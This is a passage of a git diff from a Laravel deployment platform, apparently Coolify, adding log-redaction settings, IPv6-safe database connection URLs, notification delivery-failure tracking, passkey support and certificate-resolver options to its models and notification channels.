that turns the resolver off (no certresolver label) on a resource or server. + */ + public const string TRAEFIK_CERTIFICATE_RESOLVER_NONE = 'none'; + public const int DEFAULT_SENTINEL_METRICS_REFRESH_RATE_SECONDS = 10; public const int DEFAULT_SENTINEL_METRICS_HISTORY_DAYS = 7; @@ -87,6 +98,9 @@ class ServerSetting extends Model 'is_usable', 'wildcard_domain', 'is_cloudflare_tunnel', + 'cloudflare_tunnel_id', + 'cloudflare_tunnel_account_id', + 'cloudflare_tunnel_integration_token_id', 'is_logdrain_newrelic_enabled', 'logdrain_newrelic_license_key', 'logdrain_newrelic_base_uri', @@ -134,6 +148,7 @@ class ServerSetting extends Model 'geoip_refresh_days', 'geoip_maxmind_license_key', 'traffic_ip_mode', + 'traefik_certificate_resolver', 'docker_version', 'docker_version_checked_at', 'compose_version', @@ -330,7 +345,7 @@ class ServerSetting extends Model return match (true) { filled($fqdn) => $fqdn, filled($publicIpv4) => 'http://'.$publicIpv4.':8000', - filled($publicIpv6) => 'http://'.$publicIpv6.':8000', + filled($publicIpv6) => 'http://'.formatHostForUrl($publicIpv6).':8000', default => null, }; } @@ -392,7 +407,7 @@ class ServerSetting extends Model } $request = request(); - $host = strtolower($request->getHost()); + $host = normalizeIpAddress(strtolower($request->getHost())); if ( $host === 'localhost' || diff --git a/app/Models/Service.php b/app/Models/Service.php index 88df0ba058..1f413491bd 100644 --- a/app/Models/Service.php +++ b/app/Models/Service.php @@ -35,6 +35,7 @@ use OpenApi\Attributes as OA; 'destination_id' => ['type' => 'integer', 'description' => 'The unique identifier of the destination where the service is running.'], 'connect_to_docker_network' => ['type' => 'boolean', 'description' => 'The flag to connect the service to the predefined Docker network.'], 'is_container_label_escape_enabled' => ['type' => 'boolean', 'description' => 'The flag to enable the container label escape.'], + 'redact_all_env_values_in_logs' => ['type' => 'boolean', 'description' => 'Hide every environment variable value in logs. When false, only locked values are hidden.'], 'is_container_label_readonly_enabled' => ['type' => 'boolean', 'description' => 'The flag to enable the container label readonly.'], 'config_hash' => ['type' => 'string', 'description' => 'The hash of the service configuration.'], 'service_type' => ['type' => 'string', 'description' => 'The type of the service.'], @@ -60,6 +61,7 @@ class Service extends BaseModel 'config_hash', 'compose_parsing_version', 'is_container_label_escape_enabled', + 'redact_all_env_values_in_logs', 'environment_id', 'server_id', 'destination_id', @@ -68,6 +70,10 @@ class Service extends BaseModel protected $appends = ['server_status', 'status']; + protected $casts = [ + 'redact_all_env_values_in_logs' => 'boolean', + ]; + /** * Sensitive fields hidden by default in serialized output (toArray/toJson). * API controllers should call makeVisible([...]) for callers with the @@ -249,6 +255,15 @@ class Service extends BaseModel return 'starting:unhealthy'; } + return $this->containerStatus(); + } + + /** + * The aggregate status of the stored container statuses, without the running start check. + * Callers that check starting services in bulk use it to avoid a query per service. + */ + public function containerStatus(): ?string + { $applications = $this->applications; $databases = $this->databases; @@ -1599,6 +1614,14 @@ class Service extends BaseModel return $this->hasMany(ScheduledTask::class)->orderBy('name', 'asc'); } + /** + * Whether logs hide every environment value, or only locked values. + */ + public function redactsAllEnvValuesInLogs(): bool + { + return $this->redact_all_env_values_in_logs ?? true; + } + public function environment_variables() { return $this->morphMany(EnvironmentVariable::class, 'resourceable'); @@ -1649,12 +1672,24 @@ class Service extends BaseModel return 3; }); foreach ($sorted as $env) { - $envs->push("{$env->key}={$this->resolveSecretManagerDotenvValue($env)}"); + if (! $env->preservesLegacyComposeNull() && dockerComposeEnvironmentVariableShouldBeUnset($this->docker_compose_raw ?? $this->docker_compose, $env->key, $env->value)) { + continue; + } + $envs->push($this->composeEnvironmentFileLine($env)); } instant_remote_write_file($this->server, $environmentFile, $envs->implode("\n")); instant_remote_process(["mv {$environmentFile} $workdir/.env"], $this->server); } + /** + * Build a KEY="value" line for the service .env file, which Docker Compose reads. + * Only plain values allow $VAR interpolation, so $SERVICE_* references keep working. + */ + public function composeEnvironmentFileLine(EnvironmentVariable $environmentVariable): string + { + return $environmentVariable->key.'='.$this->resolveSecretManagerDotenvValue($environmentVariable); + } + public function parse(bool $isNew = false): Collection { if ((int) $this->compose_parsing_version >= 3) { diff --git a/app/Models/ServiceApplication.php b/app/Models/ServiceApplication.php index 42dd88f169..c6962347c0 100644 --- a/app/Models/ServiceApplication.php +++ b/app/Models/ServiceApplication.php @@ -38,6 +38,7 @@ class ServiceApplication extends BaseModel 'is_gzip_enabled', 'is_stripprefix_enabled', 'is_force_https_enabled', + 'traefik_certificate_resolver', 'last_online_at', 'is_migrated', ]; diff --git a/app/Models/ServiceDatabase.php b/app/Models/ServiceDatabase.php index 959c3a69c5..33f43561ec 100644 --- a/app/Models/ServiceDatabase.php +++ b/app/Models/ServiceDatabase.php @@ -151,7 +151,7 @@ class ServiceDatabase extends BaseModel $realIp = base_ip(); } - return "{$realIp}:{$port}"; + return formatHostForUrl((string) $realIp).":{$port}"; } public function team() diff --git a/app/Models/SlackNotificationSettings.php b/app/Models/SlackNotificationSettings.php index 648869bafe..53125e1e45 100644 --- a/app/Models/SlackNotificationSettings.php +++ b/app/Models/SlackNotificationSettings.php @@ -2,12 +2,13 @@ namespace App\Models; +use App\Traits\TracksDeliveryFailures; use Illuminate\Database\Eloquent\Model; use Illuminate\Notifications\Notifiable; class SlackNotificationSettings extends Model { - use Notifiable; + use Notifiable, TracksDeliveryFailures; public $timestamps = false; @@ -67,4 +68,14 @@ class SlackNotificationSettings extends Model { return $this->slack_enabled; } + + public function notificationChannelName(): string + { + return 'Slack'; + } + + protected function disableNotificationChannel(): void + { + $this->slack_enabled = false; + } } diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index 8c15e6853b..147dab9832 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -5,6 +5,7 @@ namespace App\Models; use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasDatabaseHealthCheck; +use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; @@ -15,7 +16,7 @@ use Throwable; class StandaloneClickhouse extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; protected array $auditExclude = ['last_online_at']; @@ -379,11 +380,12 @@ class StandaloneClickhouse extends BaseModel if (empty($serverIp)) { return null; } + $serverHost = formatHostForUrl($serverIp); $encodedUser = rawurlencode($this->clickhouse_admin_user); $encodedPass = rawurlencode($this->clickhouse_admin_password); $database = $this->clickhouse_db ?? 'default'; - return "clickhouse://{$encodedUser}:{$encodedPass}@{$serverIp}:{$this->public_port}/{$database}"; + return "clickhouse://{$encodedUser}:{$encodedPass}@{$serverHost}:{$this->public_port}/{$database}"; } return null; diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php index 98f9ff5afc..7de46038c6 100644 --- a/app/Models/StandaloneDragonfly.php +++ b/app/Models/StandaloneDragonfly.php @@ -5,6 +5,7 @@ namespace App\Models; use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasDatabaseHealthCheck; +use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; @@ -14,7 +15,7 @@ use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneDragonfly extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; protected $fillable = [ 'uuid', @@ -333,9 +334,10 @@ class StandaloneDragonfly extends BaseModel if (empty($serverIp)) { return null; } + $serverHost = formatHostForUrl($serverIp); $scheme = $this->enable_ssl ? 'rediss' : 'redis'; $encodedPass = rawurlencode($this->connectionPassword()); - $url = "{$scheme}://:{$encodedPass}@{$serverIp}:{$this->public_port}/0"; + $url = "{$scheme}://:{$encodedPass}@{$serverHost}:{$this->public_port}/0"; if ($this->enable_ssl && $this->ssl_mode === 'verify-ca') { $url .= '?cacert=/etc/ssl/certs/coolify-ca.crt'; diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index bc1e045335..3257a9c108 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -5,6 +5,7 @@ namespace App\Models; use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasDatabaseHealthCheck; +use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; @@ -14,7 +15,7 @@ use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneKeydb extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; protected $fillable = [ 'uuid', @@ -334,9 +335,10 @@ class StandaloneKeydb extends BaseModel if (empty($serverIp)) { return null; } + $serverHost = formatHostForUrl($serverIp); $scheme = $this->enable_ssl ? 'rediss' : 'redis'; $encodedPass = rawurlencode($this->connectionPassword()); - $url = "{$scheme}://:{$encodedPass}@{$serverIp}:{$this->public_port}/0"; + $url = "{$scheme}://:{$encodedPass}@{$serverHost}:{$this->public_port}/0"; if ($this->enable_ssl && $this->ssl_mode === 'verify-ca') { $url .= '?cacert=/etc/ssl/certs/coolify-ca.crt'; diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php index c923b489bd..ea3bc39ce4 100644 --- a/app/Models/StandaloneMariadb.php +++ b/app/Models/StandaloneMariadb.php @@ -5,6 +5,7 @@ namespace App\Models; use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasDatabaseHealthCheck; +use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; @@ -15,7 +16,7 @@ use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneMariadb extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; protected $fillable = [ 'uuid', @@ -321,10 +322,11 @@ class StandaloneMariadb extends BaseModel if (empty($serverIp)) { return null; } + $serverHost = formatHostForUrl($serverIp); $encodedUser = rawurlencode($this->mariadb_user); $encodedPass = rawurlencode($this->mariadb_password); - return "mysql://{$encodedUser}:{$encodedPass}@{$serverIp}:{$this->public_port}/{$this->mariadb_database}"; + return "mysql://{$encodedUser}:{$encodedPass}@{$serverHost}:{$this->public_port}/{$this->mariadb_database}"; } return null; diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php index 70b108087a..41bf67678b 100644 --- a/app/Models/StandaloneMongodb.php +++ b/app/Models/StandaloneMongodb.php @@ -5,6 +5,7 @@ namespace App\Models; use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasDatabaseHealthCheck; +use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; @@ -14,7 +15,7 @@ use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneMongodb extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; protected $fillable = [ 'uuid', @@ -354,9 +355,10 @@ class StandaloneMongodb extends BaseModel if (empty($serverIp)) { return null; } + $serverHost = formatHostForUrl($serverIp); $encodedUser = rawurlencode($this->mongo_initdb_root_username); $encodedPass = rawurlencode($this->mongo_initdb_root_password); - $url = "mongodb://{$encodedUser}:{$encodedPass}@{$serverIp}:{$this->public_port}/?directConnection=true"; + $url = "mongodb://{$encodedUser}:{$encodedPass}@{$serverHost}:{$this->public_port}/?directConnection=true"; if ($this->enable_ssl) { $url .= '&tls=true&tlsCAFile=/etc/mongo/certs/ca.pem'; if (in_array($this->ssl_mode, ['verify-full'])) { diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php index 6a08a4dc45..2593bafa32 100644 --- a/app/Models/StandaloneMysql.php +++ b/app/Models/StandaloneMysql.php @@ -5,6 +5,7 @@ namespace App\Models; use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasDatabaseHealthCheck; +use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; @@ -14,7 +15,7 @@ use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneMysql extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; protected $fillable = [ 'uuid', @@ -335,9 +336,10 @@ class StandaloneMysql extends BaseModel if (empty($serverIp)) { return null; } + $serverHost = formatHostForUrl($serverIp); $encodedUser = rawurlencode($this->mysql_user); $encodedPass = rawurlencode($this->mysql_password); - $url = "mysql://{$encodedUser}:{$encodedPass}@{$serverIp}:{$this->public_port}/{$this->mysql_database}"; + $url = "mysql://{$encodedUser}:{$encodedPass}@{$serverHost}:{$this->public_port}/{$this->mysql_database}"; if ($this->enable_ssl) { $url .= "?ssl-mode={$this->ssl_mode}"; if (in_array($this->ssl_mode, ['VERIFY_CA', 'VERIFY_IDENTITY'])) { diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php index f8dc5c0caa..9e6f66c958 100644 --- a/app/Models/StandalonePostgresql.php +++ b/app/Models/StandalonePostgresql.php @@ -5,6 +5,7 @@ namespace App\Models; use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasDatabaseHealthCheck; +use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; @@ -14,7 +15,7 @@ use Illuminate\Database\Eloquent\SoftDeletes; class StandalonePostgresql extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; protected $fillable = [ 'uuid', @@ -346,9 +347,10 @@ class StandalonePostgresql extends BaseModel if (empty($serverIp)) { return null; } + $serverHost = formatHostForUrl($serverIp); $encodedUser = rawurlencode($this->postgres_user); $encodedPass = rawurlencode($this->postgres_password); - $url = "postgres://{$encodedUser}:{$encodedPass}@{$serverIp}:{$this->public_port}/{$this->postgres_db}"; + $url = "postgres://{$encodedUser}:{$encodedPass}@{$serverHost}:{$this->public_port}/{$this->postgres_db}"; if ($this->enable_ssl) { $url .= "?sslmode={$this->ssl_mode}"; if (in_array($this->ssl_mode, ['verify-ca', 'verify-full'])) { diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index b8bdbef49b..7fe86c9974 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -5,6 +5,7 @@ namespace App\Models; use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasDatabaseHealthCheck; +use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; @@ -14,7 +15,7 @@ use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneRedis extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; protected array $auditExclude = ['last_online_at']; @@ -105,12 +106,6 @@ class StandaloneRedis extends BaseModel $database->last_online_at = now(); } }); - - static::retrieved(function ($database) { - if (! $database->redis_username) { - $database->redis_username = 'default'; - } - }); } /** @@ -339,11 +334,12 @@ class StandaloneRedis extends BaseModel if (empty($serverIp)) { return null; } + $serverHost = formatHostForUrl($serverIp); $redis_version = $this->getRedisVersion(); $username_part = version_compare($redis_version, '6.0', '>=') ? rawurlencode($this->redis_username).':' : ''; $encodedPass = rawurlencode($this->connectionPassword()); $scheme = $this->enable_ssl ? 'rediss' : 'redis'; - $url = "{$scheme}://{$username_part}{$encodedPass}@{$serverIp}:{$this->public_port}/0"; + $url = "{$scheme}://{$username_part}{$encodedPass}@{$serverHost}:{$this->public_port}/0"; if ($this->enable_ssl && $this->ssl_mode === 'verify-ca') { $url .= '?cacert=/etc/ssl/certs/coolify-ca.crt'; @@ -472,19 +468,10 @@ class StandaloneRedis extends BaseModel { return new Attribute( get: function () { - // A loaded relation does not hold a variable created by an earlier read, so check the table before creating one. - $username = $this->runtimeEnvironmentVariable('REDIS_USERNAME') - ?? $this->runtime_environment_variables()->where('key', 'REDIS_USERNAME')->first(); - if (! $username) { - $this->runtime_environment_variables()->create([ - 'key' => 'REDIS_USERNAME', - 'value' => 'default', - ]); + // Reading must not create the variable: a read during the create or clone of the variables adds a duplicate. + $username = $this->runtimeEnvironmentVariable('REDIS_USERNAME')?->value; - return 'default'; - } - - return $username->value; + return filled($username) ? $username : 'default'; } ); } diff --git a/app/Models/StandaloneSqlite.php b/app/Models/StandaloneSqlite.php index 4f5c1cfc74..e3490c1031 100644 --- a/app/Models/StandaloneSqlite.php +++ b/app/Models/StandaloneSqlite.php @@ -5,6 +5,7 @@ namespace App\Models; use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasDatabaseHealthCheck; +use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; @@ -16,7 +17,7 @@ use InvalidArgumentException; class StandaloneSqlite extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; public const DATA_DIRECTORY = '/var/lib/sqlite'; diff --git a/app/Models/Tag.php b/app/Models/Tag.php index 30844b2bb6..f6745e04d3 100644 --- a/app/Models/Tag.php +++ b/app/Models/Tag.php @@ -4,7 +4,6 @@ namespace App\Models; use App\Traits\Auditable; use App\Traits\HasSafeStringAttribute; -use Illuminate\Support\Facades\DB; use OpenApi\Attributes as OA; #[OA\Schema( @@ -36,13 +35,6 @@ class Tag extends BaseModel return Tag::whereTeamId(currentTeam()->id)->orderBy('name'); } - public function deleteIfOrphaned(): void - { - if (DB::table('taggables')->where('tag_id', $this->id)->doesntExist()) { - $this->delete(); - } - } - public function applications() { return $this->morphedByMany(Application::class, 'taggable'); diff --git a/app/Models/Team.php b/app/Models/Team.php index 349c5b5681..a6a6f82dae 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -10,6 +10,7 @@ use App\Notifications\Channels\SendsEmail; use App\Notifications\Channels\SendsPushover; use App\Notifications\Channels\SendsSlack; use App\Notifications\Server\Unreachable; +use App\Services\TeamAvatarStorageService; use App\Traits\Auditable; use App\Traits\HasNotificationSettings; use App\Traits\HasSafeStringAttribute; @@ -123,6 +124,10 @@ class Team extends Model implements SendsDiscord, SendsEmail, SendsPushover, Sen $s3->delete(); } }); + + static::deleted(function (Team $team) { + app(TeamAvatarStorageService::class)->deleteTeamFile($team); + }); } public static function serverLimitReached(?Team $team = null) diff --git a/app/Models/TelegramNotificationSettings.php b/app/Models/TelegramNotificationSettings.php index 3376e239d6..6ab6c7a9e9 100644 --- a/app/Models/TelegramNotificationSettings.php +++ b/app/Models/TelegramNotificationSettings.php @@ -2,12 +2,13 @@ namespace App\Models; +use App\Traits\TracksDeliveryFailures; use Illuminate\Database\Eloquent\Model; use Illuminate\Notifications\Notifiable; class TelegramNotificationSettings extends Model { - use Notifiable; + use Notifiable, TracksDeliveryFailures; public $timestamps = false; @@ -117,4 +118,14 @@ class TelegramNotificationSettings extends Model { return $this->telegram_enabled; } + + public function notificationChannelName(): string + { + return 'Telegram'; + } + + protected function disableNotificationChannel(): void + { + $this->telegram_enabled = false; + } } diff --git a/app/Models/User.php b/app/Models/User.php index c5e9f592c3..743871fcfc 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -21,6 +21,8 @@ use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Config; use Illuminate\Support\Facades\URL; use Illuminate\Support\Str; +use Laravel\Fortify\Contracts\PasskeyUser; +use Laravel\Fortify\PasskeyAuthenticatable; use Laravel\Fortify\TwoFactorAuthenticatable; use Laravel\Sanctum\HasApiTokens; use Laravel\Sanctum\NewAccessToken; @@ -41,9 +43,9 @@ use OpenApi\Attributes as OA; 'marketing_emails' => ['type' => 'boolean', 'description' => 'The flag to receive marketing emails.'], ], )] -class User extends Authenticatable implements SendsEmail +class User extends Authenticatable implements PasskeyUser, SendsEmail { - use DeletesUserSessions, HasApiTokens, HasFactory, Notifiable, TwoFactorAuthenticatable; + use DeletesUserSessions, HasApiTokens, HasFactory, Notifiable, PasskeyAuthenticatable, TwoFactorAuthenticatable; protected $fillable = [ 'name', @@ -599,6 +601,18 @@ class User extends Authenticatable implements SendsEmail return $this->oauthIdentities()->exists(); } + /** + * Hex handle: iOS Safari corrupts raw binary handles (laravel/passkeys-server#41). + */ + public function getPasskeyUserHandle(): string + { + return hash_hmac( + 'sha256', + $this->getTable().'|'.$this->getKey(), + Config::string('passkeys.user_handle_secret'), + ); + } + /** * Check if the user has a password set. */ diff --git a/app/Models/VolumeBackupS3Replica.php b/app/Models/VolumeBackupS3Replica.php new file mode 100644 index 0000000000..779ee7571c --- /dev/null +++ b/app/Models/VolumeBackupS3Replica.php @@ -0,0 +1,38 @@ + 'boolean', + 's3_storage_deleted' => 'boolean', + ]; + } + + public function execution(): BelongsTo + { + return $this->belongsTo(ScheduledVolumeBackupExecution::class, 'execution_id'); + } + + public function s3(): BelongsTo + { + return $this->belongsTo(S3Storage::class, 's3_storage_id'); + } +} diff --git a/app/Models/WebhookNotificationSettings.php b/app/Models/WebhookNotificationSettings.php index 7ffd20a8c3..9f2f1244cd 100644 --- a/app/Models/WebhookNotificationSettings.php +++ b/app/Models/WebhookNotificationSettings.php @@ -2,12 +2,13 @@ namespace App\Models; +use App\Traits\TracksDeliveryFailures; use Illuminate\Database\Eloquent\Model; use Illuminate\Notifications\Notifiable; class WebhookNotificationSettings extends Model { - use Notifiable; + use Notifiable, TracksDeliveryFailures; public $timestamps = false; @@ -71,4 +72,14 @@ class WebhookNotificationSettings extends Model { return $this->webhook_enabled; } + + public function notificationChannelName(): string + { + return 'Webhook'; + } + + protected function disableNotificationChannel(): void + { + $this->webhook_enabled = false; + } } diff --git a/app/Notifications/Channels/DiscordChannel.php b/app/Notifications/Channels/DiscordChannel.php index b4ba9bf8cc..4bd16a2d5b 100644 --- a/app/Notifications/Channels/DiscordChannel.php +++ b/app/Notifications/Channels/DiscordChannel.php @@ -24,6 +24,6 @@ class DiscordChannel $message->isCritical = false; } - SendMessageToDiscordJob::dispatch($message, $discordSettings->discord_webhook_url); + SendMessageToDiscordJob::dispatch($message, $discordSettings->discord_webhook_url, data_get($notification, 'isTestNotification', false) ? null : $discordSettings); } } diff --git a/app/Notifications/Channels/EmailChannel.php b/app/Notifications/Channels/EmailChannel.php index bcf976f815..07853f139e 100644 --- a/app/Notifications/Channels/EmailChannel.php +++ b/app/Notifications/Channels/EmailChannel.php @@ -3,13 +3,17 @@ namespace App\Notifications\Channels; use App\Exceptions\NonReportableException; +use App\Models\EmailNotificationSettings; use App\Models\Team; +use App\Services\Security\SensitiveDataRedactor; use App\Support\SmtpTransportFactory; use Exception; use Illuminate\Notifications\Notification; +use Illuminate\Support\Facades\Log; use Resend; use Resend\Exceptions\ErrorException; use Resend\Exceptions\TransporterException; +use Symfony\Component\Mailer\Exception\TransportExceptionInterface; use Symfony\Component\Mailer\Mailer; use Symfony\Component\Mime\Email; @@ -19,6 +23,10 @@ class EmailChannel public function send(SendsEmail $notifiable, Notification $notification): void { + $settings = null; + // Test notifications always show their error and never count as delivery failures. + $isTestNotification = data_get($notification, 'isTestNotification', false); + try { // Get team and validate membership before proceeding $team = data_get($notifiable, 'id'); @@ -49,8 +57,6 @@ class EmailChannel } // Skip team membership validation for test notifications - $isTestNotification = data_get($notification, 'isTestNotification', false); - if (! $isTestNotification) { foreach ($recipients as $recipient) { // Check if the recipient is part of the team @@ -103,6 +109,10 @@ class EmailChannel $mailer->send($email); } + + if (! $isTestNotification && $settings instanceof EmailNotificationSettings) { + $settings->recordDeliverySuccess(); + } } catch (ErrorException $e) { ['status' => $statusCode, 'name' => $errorName] = self::resendErrorDetails($e); @@ -116,6 +126,24 @@ class EmailChannel default => 'Failed to send email via Resend: '.$e->getErrorMessage(), }; + if (! $isTestNotification && $settings instanceof EmailNotificationSettings) { + // The team's own settings: an invalid key or domain counts as a delivery failure, and + // other client errors are only logged. Neither is retried, because a retry fails again. + if (in_array($statusCode, [401, 403], true)) { + $settings->recordDeliveryFailure($userMessage); + + return; + } + + if (in_array($statusCode, [400, 422], true)) { + Log::warning('Resend rejected the email', ['team_id' => $settings->team_id, 'reason' => $userMessage]); + + return; + } + + throw new Exception($userMessage, $e->getCode(), $e); + } + // Log detailed error for admin debugging (redact sensitive data) $emailSettings = $notifiable->emailNotificationSettings ?? instanceSettings(); data_set($emailSettings, 'smtp_password', '********'); @@ -124,9 +152,9 @@ class EmailChannel send_internal_notification(sprintf( "Resend Error\nStatus Code: %s\nMessage: %s\nNotification: %s\nEmail Settings:\n%s", $statusCode, - $e->getErrorMessage(), + remove_iip($e->getErrorMessage()), get_class($notification), - json_encode($emailSettings, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) + json_encode(app(SensitiveDataRedactor::class)->redactValue($emailSettings), JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) )); // Don't report expected errors (invalid keys, validation) to Sentry @@ -135,8 +163,17 @@ class EmailChannel } throw new Exception($userMessage, $e->getCode(), $e); + } catch (TransportExceptionInterface $e) { + // SMTP 530/535: the SMTP server does not accept the username or password. + if (! $isTestNotification && $settings instanceof EmailNotificationSettings && in_array($e->getCode(), [530, 535], true)) { + $settings->recordDeliveryFailure('SMTP authentication failed. Please verify the SMTP username and password.'); + + return; + } + + throw $e; } catch (TransporterException $e) { - send_internal_notification("Resend Transport Error: {$e->getMessage()}"); + send_internal_notification('Resend Transport Error: '.remove_iip($e->getMessage())); throw new Exception('Unable to connect to Resend API. Please check your internet connection and try again.'); } catch (\Throwable $e) { // Check if this is a Resend domain verification error on cloud instances diff --git a/app/Notifications/Channels/PushoverChannel.php b/app/Notifications/Channels/PushoverChannel.php index 3d3728d01f..1323d874e3 100644 --- a/app/Notifications/Channels/PushoverChannel.php +++ b/app/Notifications/Channels/PushoverChannel.php @@ -16,6 +16,6 @@ class PushoverChannel return; } - SendMessageToPushoverJob::dispatch($message, $pushoverSettings->pushover_api_token, $pushoverSettings->pushover_user_key); + SendMessageToPushoverJob::dispatch($message, $pushoverSettings->pushover_api_token, $pushoverSettings->pushover_user_key, data_get($notification, 'isTestNotification', false) ? null : $pushoverSettings); } } diff --git a/app/Notifications/Channels/SlackChannel.php b/app/Notifications/Channels/SlackChannel.php index cddb7a5611..82d235a269 100644 --- a/app/Notifications/Channels/SlackChannel.php +++ b/app/Notifications/Channels/SlackChannel.php @@ -19,6 +19,6 @@ class SlackChannel return; } - SendMessageToSlackJob::dispatch($message, $slackSettings->slack_webhook_url); + SendMessageToSlackJob::dispatch($message, $slackSettings->slack_webhook_url, data_get($notification, 'isTestNotification', false) ? null : $slackSettings); } } diff --git a/app/Notifications/Channels/TelegramChannel.php b/app/Notifications/Channels/TelegramChannel.php index d0e1c95ed9..5b23f54413 100644 --- a/app/Notifications/Channels/TelegramChannel.php +++ b/app/Notifications/Channels/TelegramChannel.php @@ -73,6 +73,6 @@ class TelegramChannel return; } - SendMessageToTelegramJob::dispatch($message, $buttons, $telegramToken, $chatId, $threadId); + SendMessageToTelegramJob::dispatch($message, $buttons, $telegramToken, $chatId, $threadId, data_get($notification, 'isTestNotification', false) ? null : $settings); } } diff --git a/app/Notifications/Channels/WebhookChannel.php b/app/Notifications/Channels/WebhookChannel.php index 